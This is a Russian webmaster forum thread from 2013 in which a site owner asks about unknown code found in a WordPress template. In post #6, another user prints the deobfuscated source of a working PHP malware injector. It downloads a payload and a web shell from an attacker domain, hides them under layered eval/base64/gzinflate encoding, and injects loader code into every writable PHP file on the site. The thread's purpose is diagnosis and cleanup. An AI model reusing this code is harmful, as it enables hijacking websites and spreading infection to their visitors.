Помощник
|
Обнаружил неизвестный код в шаблоне WP, Что за код? |
Biznessman
|
Сообщение
#1
|
||
|
|
||
|
|||
Nikoon |
16.1.2013, 12:01;
Ответить: Nikoon
Сообщение
#2
|
|
Biznessman, Проверьте ещё в файле wp-config, думаю там ещё зашифрованый код должен быть.
|
|
|
Biznessman
|
Сообщение
#3
|
|
Вот wp-config:
Развернуть/Свернуть
<?php
/** * Основные параметры WordPress. * * Этот файл содержит следующие параметры: настройки MySQL, префикс таблиц, * секретные ключи, язык WordPress и ABSPATH. Дополнительную информацию можно найти * на странице {@link http://codex.wordpress.org/Editing_wp-config.php Editing * wp-config.php} Кодекса. Настройки MySQL можно узнать у хостинг-провайдера. * * Этот файл используется сценарием создания wp-config.php в процессе установки. * Необязательно использовать веб-интерфейс, можно скопировать этот файл * с именем "wp-config.php" и заполнить значения. * * @package WordPress */ // ** Настройки MySQL: Эту информацию можно получить у вашего хостинг-провайдера ** // /** Имя базы данных для WordPress */ define('DB_NAME', '************'); /** Имя пользователя MySQL */ define('DB_USER', '*************'); /** Пароль пользователя MySQL */ define('DB_PASSWORD', '**************'); /** Адрес сервера MySQL */ define('DB_HOST', 'localhost'); /** Кодировка базы данных при создании таблиц. */ define('DB_CHARSET', 'utf8'); /** Схема сопоставления. Не меняйте, если не уверены. */ define('DB_COLLATE', ''); /**#@+ * Уникальные ключи для аутентификации. * * Смените значение каждого ключа на уникальную фразу. * Можно сгенерировать их с помощью {@link https://api.wordpress.org/secret-key/1.1/ сервиса ключей на WordPress.org} * * @since 2.6.0 */ define('AUTH_KEY', 'впишите сюда уникальную фразу'); define('SECURE_AUTH_KEY', 'впишите сюда уникальную фразу'); define('LOGGED_IN_KEY', 'впишите сюда уникальную фразу'); define('NONCE_KEY', 'впишите сюда уникальную фразу'); /**#@-*/ /** * Префикс таблиц в базе данных WordPress. * * Можно установить несколько блогов в одну базу данных, если вы будете использовать * разные префиксы. Пожалуйста, указывайте только цифры, буквы и знак подчеркивания. */ $table_prefix = 'wp_'; /** * Язык локализации WordPress, по умолчанию английский. * * Измените этот параметр, чтобы настроить локализацию. Соответствующий MO-файл * для выбранного языка должен быть установлен в wp-content/languages. */ define ('WPLANG', 'ru_RU'); /* Это всё, дальше не редактируем. Успехов! */ /** Абсолютный путь к директории WordPress. */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/'); /** Инициализирует переменные WordPress и подключает файлы. */ require_once(ABSPATH . 'wp-settings.php'); ?> |
|
|
RageLT |
16.1.2013, 12:21;
Ответить: RageLT
Сообщение
#4
|
|
Либо шел, либо троян.
Попробуйте это: _http://www.php-beginners.com/solve-wordpress-malware-script-attack-fix.html -------------------- |
|
|
arturios |
16.1.2013, 12:25;
Ответить: arturios
Сообщение
#5
|
|
а если снести код сайт работает? не пробовали?
Сообщение отредактировал arturios - 16.1.2013, 12:25 |
|
|
x64 |
16.1.2013, 12:39;
Ответить: x64
Сообщение
#6
|
|
конечный код вытянут в одну строку, поэтому пришлось пользоваться автоформаттером. получилось такое (целиком не влезло, разбил на 4 куска):
Развернуть/Свернуть
if (!function_exists('dg_main_init')) {
function dg_main_init() { echo "<b color='green'>full path [{$_SERVER['SCRIPT_FILENAME']}]</b><br />[s1]<br />"; echo "{$GLOBALS['dg_iver']}<h2>{$GLOBALS['http']}{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}</h2>"; $path = explode("/", $_SERVER['SCRIPT_FILENAME']); array_pop($path); $uri = explode("/", $_SERVER['REQUEST_URI']); $uri = array_slice($uri, 0, count($uri) - 1); while (count($uri) > 0 && count($path) > 0 && strtolower($uri[count($uri) - 1]) == strtolower($path[count($path) - 1])) { unset($uri[count($uri) - 1]); unset($path[count($path) - 1]); } $GLOBALS['dgsp'] = implode("/", $path); $GLOBALS['fpath'] = $GLOBALS['dgsp']; echo "<b color='green'>root dir path [{$GLOBALS['dgsp']}/]</b><br /><br />"; $GLOBALS['dgcgr'] = 0; $GLOBALS['dgcgrf'] = 0; dg_main_exec(); } } if (!function_exists('all_php_inject')) { function all_php_inject($folder, $inj = 0, $silent = true) { $our_folder = 0; $folder = str_replace('\\', '/', $folder); if ($folder[strlen($folder) - 1] == '/') { $folder = substr($folder, 0, strlen($folder) - 1); } if (!is_dir($folder)) { if (!$silent) { echo "<b>NOT FOLDER</b> <font color='red'>{$folder}</font><br />"; } return; } if (is_link($folder)) { if (!$silent) { echo "<b>LINK</b> <font color='red'>{$folder}</font><br />"; } return; } if (strpos(strtolower($folder), 'cache') || strpos(strtolower($folder), 'snapshot')) { if (!$silent) { echo "<b>CACHE</b> <b color='orange'>{$folder}</b><br />"; } return; } if ($folder. "/" == $GLOBALS['dgcp'] || file_exists($folder. '/'.$GLOBALS['dgin'])) { if (!$silent) { echo "<b>MAIN DIR</b> <font color='red'>{$folder}</font><br />"; } return; } if (!$silent) { echo "{$folder}<br />"; } $h = opendir($folder); if (!$h) { if (!$silent) { echo "<b>OPENDIR</b> <font color='red'>{$folder}</font><br />"; } return; } if (check_engine_rules($folder)) { process_file_inject($GLOBALS['dg_wpi'][count($GLOBALS['dg_wpi']) - 1], 1, 0); } $dirs = array(); while (strlen($f = readdir($h))) { if ($f == '.' || $f == '..') { continue; } $pc = 0; $lp = ""; $file = $folder. '/'.$f; if (is_file($file)) { if (in_array($file, $GLOBALS['dg_wpi'])) { if (!$silent) { echo "<b>BUSY</b> <font color='red'>{$file}</font><br />"; } continue; } $mfn = substr(md5($folder. '/'), 0, 3). '.php'; $sfn = substr(md5($mfn), 0, 4). '.php'; $mkr = md5($file); if ($f == $mfn) { if (!$silent) { echo "<b>OTHER MS</b> <font color='red'>{$file}</font><br />"; } continue; } if ($f == $sfn) { if (!$silent) { echo "<b>SHELL</b> <font color='red'>{$file}</font><br />"; } continue; } if (isset($GLOBALS['dgmn']) && $f == $GLOBALS['dgmn']) { continue; } if (!in_array(strtolower(gfe($file)), array("php", "phtml", "php3", "php4", "php5"))) { continue; } if (!is_writable($file)) { if (!$silent) { echo "<font color='red'>{$file}</font><br />"; } continue; } process_file_inject($file, $inj, $silent); } elseif(is_dir($file)) { $dirs[$file] = count($dirs) + 1; } } closedir($h); foreach($dirs as $key = > $val) { all_php_inject($key, $inj, $silent); } } } Развернуть/Свернуть
if (!function_exists('clear_get_post_vars')) {
function clear_get_post_vars($var) { $var = rawurldecode($var); if (get_magic_quotes_gpc() || strpos($var, '\\"')) { $var = stripslashes($var); } if (strpos($var, '"')) { $var = html_entity_decode($var); } return $var; } } if (!function_exists('process_file_inject')) { function process_file_inject($file, $inj, $silent) { $lc = " <b>[not patched]</b>"; $lp = ""; $mkr = md5($file); $fa = file($file); $oc = implode("", $fa); $nc = $oc; /*dg_clear_exploits($nc);*/ while (preg_match("/{$GLOBALS['dgix']}/si", $nc, $_r)) { if (preg_match('/md5\s+\=\s+\"(\w{32})\"/si', $_r[0], $_m)) { if ($_m[1] == '00000000000000000000000000000000') { echo "<b>BOMB</b> <font color='blue'>{$file}</font><br />"; } elseif($_m[1] == $mkr) { $lc = " <b>[cleared]</b>"; } elseif($_m[1] < > $mkr) { $lc = " <b>[other script]</b>"; } } $nc = trim(str_replace($_r[0], $_r[1], $nc)); } $nc = trim(preg_replace("/\<\?php\s*\?\>/s", "", $nc)); if (preg_match("/\@zend/i", $nc)) { echo "<b>ZEND</b> <font color='red'>{$file}</font>{$lc}<br />"; } elseif($inj) { $inject = prepare_pack($GLOBALS['dgij'], rand(20, 50), 0, 1); if (in_array($file, $GLOBALS['dg_wpi'])) { $tmp = preg_split('/\}\s*[\r\n]+\s*function/siU', $nc); if (count($tmp) > 1) { $inject = hide_eval($inject, 0, $mkr); $middle = round(count($tmp) / 2); $nc = ''; $dgi = 0; foreach($tmp as $key = > $val) { $dgi++; if ($dgi == count($tmp)) { $nc = $nc.$val; } else { if ($dgi == $middle) { $nc = $nc.$val. "}\n\n{$inject}\nfunction"; } else { $nc = $nc.$val. "}\n\nfunction"; } } } } else { $tmp = preg_split('/\*\/\s*[\r\n]+\s*function/siU', $nc); if (count($tmp) > 1) { $inject = hide_eval($inject, 0, $mkr); $middle = round(count($tmp) / 2); $nc = ''; $dgi = 0; foreach($tmp as $key = > $val) { $dgi++; if ($dgi == count($tmp)) { $nc = $nc.$val; } else { if ($dgi == $middle) { $nc = $nc.$val. "*/\n\n{$inject}\nfunction"; } else { $nc = $nc.$val. "*/\n\nfunction"; } } } } else { $inject = hide_eval($inject, 1, $mkr); $nc = $inject. "\n".trim($nc); } } } else { $inject = hide_eval($inject, 1, $mkr); $nc = $inject. "\n".trim($nc); } $lp = " <b>[patched]</b>"; } if ($oc < > $nc) { if (save_text_to_file($file, $nc, 1)) { echo "<font color='green'>{$file}{$lc}{$lp}</font><br />"; } else { echo "<font color='red'>{$file}{$lc}{$lp}</font><br />"; } } } } if (!function_exists('leave_clear_php')) { function leave_clear_php( & $txt) { $txt = substr($txt, strpos($txt, '<?'), strlen($txt)); $txt = substr($txt, 0, strrpos($txt, '?>') + 2); } } if (!function_exists('check_engine_install')) { function check_engine_install() { global $_POST; if (!isset($_POST['dgrules']) || trim($_POST['dgrules']) == "") { return; } $_POST['dgrules'] = trim(clear_get_post_vars($_POST['dgrules'])); $GLOBALS['dgrules'] = explode(";", $_POST['dgrules']); $tmp = explode("/", $GLOBALS['dgcp']); while (count($tmp) > 0) { $path = implode("/", $tmp); if (check_engine_rules($path)) { break; } unset($tmp[count($tmp) - 1]); } } } if (!function_exists('check_engine_rules')) { function check_engine_rules($path) { foreach($GLOBALS['dgrules'] as $key = > $val) { $val = trim($val); $search_path = explode("@#@", $val); $all_found = 1; foreach($search_path as $key2 = > $val2) { $val2 = trim($val2); if (in_array($path.$val2, $GLOBALS['dg_wpi'])) { return 0; } if (!(file_exists($path.$val2))) { $all_found = 0; break; } } if ($all_found) { foreach($search_path as $key2 = > $val2) { if (is_writable($path.$val2)) { $GLOBALS['dg_wpi'][] = $path.$val2; echo "<font color='blue'>engine path {$path}{$val2}</font><br />"; return 1; } } return 0; } } return 0; } } Развернуть/Свернуть
if (!function_exists('dgdownload')) {
function dgdownload($url, $connect_timeout) { if (!$url) { return ''; } $ret = ''; $url_info = parse_url($url); if (!isset($url_info['port']) || !$url_info['port']) { $url_info['port'] = 80; } if (!isset($url_info['path']) || !$url_info['path']) { $url_info['path'] = '/'; } if (isset($url_info['query']) && $url_info['query']) { $url_info['path'] = $url_info['path']. "?".$url_info['query']; } $query = "GET {$url_info['path']} HTTP/1.0\r\n"; $query. = "Host: {$url_info['host']}\r\n"; $query. = "Accept: */*\r\n"; $query. = "Connection: close\r\n"; $query. = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\r\n"; $query = $query. "\r\n"; $errno = 0; $error = ""; $sock = fsockopen($url_info['host'], $url_info['port'], $errno, $error, $connect_timeout); $h = array(); $resp = array(); if ($sock) { stream_set_timeout($sock, $connect_timeout); fwrite($sock, $query); $hd = false; while (!feof($sock)) { $l = fgets($sock); if (!$hd) { if (trim($l) == '') { $hd = true; } else { $h[] = $l; } } else { $resp[] = $l; } } fclose($sock); } $ret = implode("", $resp); return $ret; } } if (!function_exists('save_text_to_file')) { function save_text_to_file($fn, $t, $r = 0) { if ($r) { $f = fopen($fn, "w"); } else { $f = fopen($fn, "a"); } if ($f) { fwrite($f, $t); fflush($f); fclose($f); $fs = filesize($fn); if (($t < > '' && $fs) || ($t == '' && !$fs)) { return 1; } else { $fn = str_replace("/", "\\", $fn); $fs = filesize($fn); } if (($t < > '' && $fs) || ($t == '' && !$fs)) { return 1; } } else { return 0; } } } if (!function_exists('replace_substring')) { function replace_substring( & $text, $pret, $postt, $str) { $pos = strpos($text, $pret); if (!$pos) { return false; } $pre = substr($text, 0, $pos + strlen($pret)); $pos = strpos($text, $postt, $pos); if (!$pos) { return false; } $post = substr($text, $pos, strlen($text)); if (strlen($pre) && strlen($post)) { $text = $pre.$str.$post; return true; } return false; } } if (!function_exists('gfe')) { function gfe($fn) { $ret = pathinfo($fn); if (isset($ret['extension'])) { return $ret['extension']; } else { return ""; } } } if (!function_exists('prepare_pack')) { function prepare_pack($php, $cycles = 0, $split_by_functions = 0, $zip = 0) { $ret = preg_replace("/^[^\s]+[\s]/U", "", $php); $ret = preg_replace("/[\s][^\s]+\Z/", "", $ret); $ret = trim($ret); if ($split_by_functions) { $tmp = preg_split('/\}\s+function/', $ret); } else { $tmp[] = $ret; } $skip_first = false; if (count($tmp)) { if ($split_by_functions && strpos($tmp[0], 'function') === 0) { $tmp[0] = substr($tmp[0], strlen('function'), strlen($tmp[0])); } else { $skip_first = true; } $ret = ''; $count = 0; $total = count($tmp); foreach($tmp as $key = > $val) { $val = preg_replace("/\s+/", " ", $val); $count++; $count == $total ? $add = '' : $add = '}'; if ($total > 1 && !($count == 1 && $skip_first)) { $next_encoded = '/*'.generate_string(50). '*/ '. 'function '.trim($val).$add; } else { $next_encoded = trim($val).$add; } if ($zip && function_exists('gzdeflate')) { $next_encoded = gzdeflate($next_encoded, 9); } $next_encoded = base64_encode($next_encoded); if ($zip && function_exists('gzdeflate')) { $ret. = "eval(gzinflate(base64_decode('{$next_encoded}')));"; } else { $ret. = "eval(base64_decode('{$next_encoded}'));"; } } for ($i = 0; $i < $cycles; $i++) { if ($zip && function_exists('gzdeflate')) { $ret = gzdeflate($ret, 9); } $ret = base64_encode($ret); if ($zip && function_exists('gzdeflate')) { $ret = "eval(gzinflate(base64_decode('{$ret}')));"; } else { $ret = "eval(base64_decode('{$ret}'));"; } } } return $ret; } } if (!function_exists('hide_eval')) { function hide_eval($encoded_gzipped_code, $add_php_sign = 0, $marker = "") { $ret = ""; $replacement = "eval(gzinflate(base64_decode('"; $pos = strpos($encoded_gzipped_code, $replacement); if (!($pos === false)) { $encoded_gzipped_code = substr($encoded_gzipped_code, $pos + strlen($replacement), strlen($encoded_gzipped_code)); } $replacement = "')));"; $pos = strpos($encoded_gzipped_code, $replacement); if (!($pos === false)) { $encoded_gzipped_code = substr($encoded_gzipped_code, 0, $pos); } $l = array("e", "v", "a", "l", "g", "z", "i", "n", "f", "t", "b", "s", "6", "4", "_", "d", "c", "r", "o", "(", ")", ";", "$"); shuffle($l); $l = array_flip($l); $a = "("; foreach($l as $k = > $val) { rand(0, 100) < 50 ? $sep = "'" : $sep = '"'; $a. = "{$sep}{$k}{$sep},"; } $a = substr($a, 0, strlen($a) - 1). ");"; if ($marker) { $ret. = "\$". "md5 = \"{$marker}\";\n"; } $ret. = "\${$GLOBALS['dgeha']} = array{$a}\n"; $ret. = "\${$GLOBALS['dgehf']} = create_function('\$'.'v',\${$GLOBALS['dgeha']}[{$l['e']}].\${$GLOBALS['dgeha']}[{$l['v']}].\${$GLOBALS['dgeha']}[{$l['a']}].\${$GLOBALS['dgeha']}[{$l['l']}].\${$GLOBALS['dgeha']}[{$l['(']}].\${$GLOBALS['dgeha']}[{$l['g']}].\${$GLOBALS['dgeha']}[{$l['z']}].\${$GLOBALS['dgeha']}[{$l['i']}].\${$GLOBALS['dgeha']}[{$l['n']}].\${$GLOBALS['dgeha']}[{$l['f']}].\${$GLOBALS['dgeha']}[{$l['l']}].\${$GLOBALS['dgeha']}[{$l['a']}].\${$GLOBALS['dgeha']}[{$l['t']}].\${$GLOBALS['dgeha']}[{$l['e']}].\${$GLOBALS['dgeha']}[{$l['(']}].\${$GLOBALS['dgeha']}[{$l['b']}].\${$GLOBALS['dgeha']}[{$l['a']}].\${$GLOBALS['dgeha']}[{$l['s']}].\${$GLOBALS['dgeha']}[{$l['e']}].\${$GLOBALS['dgeha']}[{$l['6']}].\${$GLOBALS['dgeha']}[{$l['4']}].\${$GLOBALS['dgeha']}[{$l['_']}].\${$GLOBALS['dgeha']}[{$l['d']}].\${$GLOBALS['dgeha']}[{$l['e']}].\${$GLOBALS['dgeha']}[{$l['c']}].\${$GLOBALS['dgeha']}[{$l['o']}].\${$GLOBALS['dgeha']}[{$l['d']}].\${$GLOBALS['dgeha']}[{$l['e']}].\${$GLOBALS['dgeha']}[{$l['(']}].\${$GLOBALS['dgeha']}[{$l['$']}].\${$GLOBALS['dgeha']}[{$l['v']}].\${$GLOBALS['dgeha']}[{$l[')']}].\${$GLOBALS['dgeha']}[{$l[')']}].\${$GLOBALS['dgeha']}[{$l[')']}].\${$GLOBALS['dgeha']}[{$l[';']}]);\n"; $ret. = "\${$GLOBALS['dgehf']}('{$encoded_gzipped_code}');\n"; $ret = trim($ret); if ($add_php_sign) { $ret = "<". "?php\n".$ret. "\n?". ">"; } return $ret; } } Развернуть/Свернуть
if (!function_exists('generate_string')) {
function generate_string($len = 4) { $ret = ''; $arr = array('q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm'); for ($i = 0; $i < $len; $i++) { $ret. = $arr[rand(0, count($arr) - 1)]; } return $ret; } } if (!function_exists('search_writable_dirs')) { function search_writable_dirs($folder, & $madrs, & $flag) { if ($flag) { return; } $folder = str_replace('\\', '/', $folder); if (count($madrs) > 300) { return; } if (isset($GLOBALS['dgbc'][$folder. "\n"])) { echo "<b>CHECKED</b> <font color='yellow'>{$folder}</font><br />"; return; } if (!file_exists($folder)) { echo "<b>NOT EXISTS</b> <font color='red'>{$folder}</font><br />"; return; } if (strpos(strtolower($folder), 'cache') || strpos(strtolower($folder), 'snapshot')) { echo "<b>CACHE</b> <font color='orange'>{$folder}</font><br />"; return; } $h = opendir($folder); if (!$h) { return; } if (is_writable($folder)) { $fn = substr(md5($folder. '/'), 0, 3). '.php'; if (file_exists($folder. '/'.$fn) || file_exists($folder. '/cnf')) { echo "<b>OLD SCRIPT</b> <b color='red'>{$folder}/{$fn}</b><br />[m1]<br />"; $madrs = array(); $madrs[$folder] = count($madrs) + 1; $flag = 1; return; } $madrs[$folder] = count($madrs) + 1; } while (($f = readdir($h)) !== FALSE) { if ($f == '.' || $f == '..' || $f == '/' || $f == '\\') { continue; } if ($folder == '/') { $folder = ''; } if (is_dir($folder. '/'.$f)) { if (is_link($folder. '/'.$f)) { continue; } if (strpos($folder. '/'.$f. '/', $GLOBALS['dgsp']) === false) { echo "<b color='red'>SKIP: {$folder}/{$f}</b><br />"; continue; } search_writable_dirs($folder. '/'.$f, $madrs, $flag); } } closedir($h); flush(); } } if (!function_exists('dg_main_exec')) { function dg_main_exec() { global $_SERVER; echo "<hr /><div align='left'><br clear='all'>"; flush(); $ddrs = array(); $a = false; $GLOBALS['dgcp'] = ''; echo "<h3>LOOKING FOR THE LONGEST PATH AT {$GLOBALS['dgsp']}</h3><small>"; search_writable_dirs($GLOBALS['dgsp'], $ddrs, $a); echo "</small>"; flush(); $max = 0; foreach($ddrs as $key = > $val) { $fldr = explode('/', $key); $c = count($fldr); if ($max < $c) { $max = $c; $GLOBALS['dgcp'] = implode('/', $fldr); } } if (!$GLOBALS['dgcp']) { echo "<b color='red'>nowhere to write anything</b><br />[e4]"; die; } if ($GLOBALS['dgsp'] == $GLOBALS['dgcp']) { echo "<b color='red'>can't write to the document root</b><br />[e5]"; die; } $GLOBALS['dgcp'] = str_replace('\\', '/', $GLOBALS['dgcp']); $GLOBALS['dgcp']. = '/'; $GLOBALS['dgsp']. = '/'; echo "the longest available path: <b>{$GLOBALS['dgcp']}</b><br />"; $GLOBALS['dgin'] = substr(md5($GLOBALS['dgcp']), 0, 3). '.php'; $GLOBALS['dgeha'] = "a".substr(md5($GLOBALS['dgin']), 0, 1); $GLOBALS['dgehf'] = "b".substr(md5($GLOBALS['dgin']), 0, 2); $GLOBALS['dgij'] = "if(function_exists('ob_start')&&!isset(\$GLOBALS['mfsn'])){\$GLOBALS['mfsn']='{$GLOBALS['dgcp']}{$GLOBALS['dgin']}';if(file_exists(\$GLOBALS['mfsn'])){include_once(\$GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}"; flush(); $pms = dgdownload($GLOBALS['dg_pu'], 60); if ($pms) { echo "<b color='green'>[size: ".strlen($pms). "]</b><br />[s2]<br />"; leave_clear_php($pms); } else { die("<b color='red'>download failed</b><br />[e2]<br />"); } if (!replace_substring($pms, '$GLOBALS[\'dgcp\'] = "', '";', $GLOBALS['dgcp'])) { die("<b color='red'>failed to set path</b><br />[e6]"); } echo "<b color='green'>path [{$GLOBALS['dgcp']}]</b><br />"; if (!replace_substring($pms, '$GLOBALS[\'dgin\'] = "', '";', $GLOBALS['dgin'])) { die("<b color='red'>failed to set name</b><br />[e7]"); } if (!replace_substring($pms, '$GLOBALS[\'dgsp\'] = "', '";', $GLOBALS['dgsp'])) { die("<b color='red'>failed to set relative root dir</b><br />[e8]"); } echo "<b color='green'>relative root dir [{$GLOBALS['dgsp']}]</b><br />"; $packed_js = prepare_pack($pms, rand(5, 10), 1, 1); $packed_js = hide_eval($packed_js, 1); if (save_text_to_file($GLOBALS['dgcp'].$GLOBALS['dgin'], $packed_js, 1)) { echo "<b color='green'>[{$GLOBALS['dgcp']}{$GLOBALS['dgin']}]</b><br />[s4]<br />"; } else { echo "<b color='red'>[{$GLOBALS['dgcp']}{$GLOBALS['dgin']}]</b><br />[e9]<br />"; die; } $GLOBALS['dgsf'] = substr(md5($GLOBALS['dgin']), 0, 4). '.php'; flush(); $shl = dgdownload($GLOBALS['dg_eu'], 60); if ($shl) { echo "<b color='green'>ss [size: ".strlen($shl). "]</b><br />[s3]<br />"; leave_clear_php($shl); } else { echo "<b color='red'>download failed</b><br />[e3]<br />"; } $shl = preg_replace("/^[^\s]+[\s]/U", "", $shl); $shl = preg_replace("/[\s][^\s]+\Z/", "", $shl); $shl = '/*'.generate_string(200). '*/ '.$shl. ' /*'.generate_string(200). '*/ '; $packed_js = prepare_pack($shl, rand(50, 100), 0, 1); $packed_js = hide_eval($packed_js, 1); if (save_text_to_file($GLOBALS['dgcp'].$GLOBALS['dgsf'], $packed_js, 1)) { echo "<b style:='color:green'>[{$GLOBALS['dgcp']}{$GLOBALS['dgsf']}]</b><br />[s5]<br />"; } else { echo "<b color='red'>[{$GLOBALS['dgcp']}{$GLOBALS['dgsf']}]</b><br />"; } echo "<small>"; echo "<h3>INJECTING PHP FILES</h3>"; check_engine_install(); if (count($GLOBALS['dg_wpi']) > 0) { process_file_inject($GLOBALS['dg_wpi'][0], 1, 0); all_php_inject($GLOBALS['dgsp'], 0, 0); } else { all_php_inject($GLOBALS['dgsp'], 1, 0); } if ($_SERVER['SCRIPT_FILENAME'] < > $GLOBALS['dgcp'].$GLOBALS['dgmn']) { if (copy($_SERVER['SCRIPT_FILENAME'], $GLOBALS['dgcp'].$GLOBALS['dgmn'])) { echo "File {$_SERVER['SCRIPT_FILENAME']} copied"; } else { echo "Failed to copy file {$_SERVER['SCRIPT_FILENAME']}"; } unlink($_SERVER['SCRIPT_FILENAME']); } else { echo "No need to copy file {$_SERVER['SCRIPT_FILENAME']}"; } echo "</small><hr /><b>dgok</b></div>"; } } if (!isset($GLOBALS['dgbaw'])) { $GLOBALS['dgbaw'] = 1; if (isset($_GET['dgphpinfo'])) { phpinfo(); die; } set_time_limit(1800); ignore_user_abort(true); $GLOBALS['dg_wpi'] = array(); $GLOBALS['dgrules'] = array(); $GLOBALS['dg_iver'] = "4.0"; $GLOBALS['http'] = 'http:/'. '/'; $GLOBALS['dgmn'] = "class-image.php"; $GLOBALS['dgfn'] = ""; $GLOBALS['dg_id'] = ""; $GLOBALS['dgix'] = '\$'. 'md5\s\=\s\"\w{32}\"\;\s*\$[^\s]+\s\=\s[^\s]+\;\s*\$[^\s]+\s\=\screate\_function[^\s]+\;\s*\$[^\s]+\s*(\S)'; if (isset($_GET['dgd']) || isset($_POST['dgd'])) { error_reporting(E_ALL); } else { error_reporting(0); } if ($GLOBALS['dgmn'] && (!strpos($_SERVER['SCRIPT_FILENAME'], $GLOBALS['dgmn'])) || !file_exists($_SERVER['SCRIPT_FILENAME'])) { if (file_exists($_SERVER['PATH_TRANSLATED'])) { $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED']; } else { echo "<b color='red'>can't detect full path [{$_SERVER['SCRIPT_FILENAME']}]</b><br />[e1]"; die; } } if (!$GLOBALS['dg_id'] && isset($_GET['dgdomain']) && $_GET['dgdomain']) { $GLOBALS['dg_id'] = $_GET['dgdomain']; } if (!$GLOBALS['dg_id'] && isset($_POST['dgdomain']) && $_POST['dgdomain']) { $GLOBALS['dg_id'] = $_POST['dgdomain']; } if ((isset($_GET['dginit']) || isset($_POST['dginit']))) { if (!$GLOBALS['dg_id']) { die("[e13]"); } $GLOBALS['dg_pu'] = "{$GLOBALS['http']}{$GLOBALS['dg_id']}/?update=js&host={$_SERVER['HTTP_HOST']}"; $GLOBALS['dg_eu'] = "{$GLOBALS['http']}{$GLOBALS['dg_id']}/?update=shl&host={$_SERVER['HTTP_HOST']}"; $_SERVER['SCRIPT_FILENAME'] = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']); $_SERVER['SCRIPT_FILENAME'] = preg_replace("/\/+/", "/", $_SERVER['SCRIPT_FILENAME']); die(dg_main_init()); } else { die("<!--mn ".$GLOBALS['dgmn']. "-->"); } } Сообщение отредактировал x64 - 16.1.2013, 12:42 |
|
|
Biznessman
|
Сообщение
#7
|
|
Код снес. Сайт работает без проблем (по крайней мере пока ничего аномального не обнаружил).
А что хоть делает этот код? |
|
|
viston |
17.1.2013, 11:40;
Ответить: viston
Сообщение
#8
|
|
Что это за код , был у меня такой же код на сайте.
|
|
|
Rxp |
18.1.2013, 0:12;
Ответить: Rxp
Сообщение
#9
|
|
Вредоносный код 100%, ТС ищите источник иначе все потоврится.
-------------------- |
|
|
kosmo987 |
18.1.2013, 19:03;
Ответить: kosmo987
Сообщение
#10
|
|
|
сливают ваш траф на связку скорее всего
|
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Почистить код на сайте | 1 | Timka | 1107 | 2.1.2021, 1:13 автор: 0pium |
|
Вы мне код, я вам как - делать не надо. | 0 | fedornabilkin | 958 | 18.9.2020, 18:59 автор: fedornabilkin |
|
Adobe muse: Не могу разместить нужный мне код сразу после Body | 0 | Evg82 | 3833 | 20.6.2020, 10:24 автор: Evg82 |
|
Повесить мой код Адсенса на ваш сайт на 1-2 дня | 4 | WildWeb8 | 3726 | 18.7.2018, 20:04 автор: startseo |
|
Обнаружил копипаст со своего сайта. Можно ли что-то сделать? | 1 | Андрей34 | 1020 | 24.9.2017, 22:13 автор: BLIK |
Текстовая версия | Сейчас: 20.4.2024, 7:31 |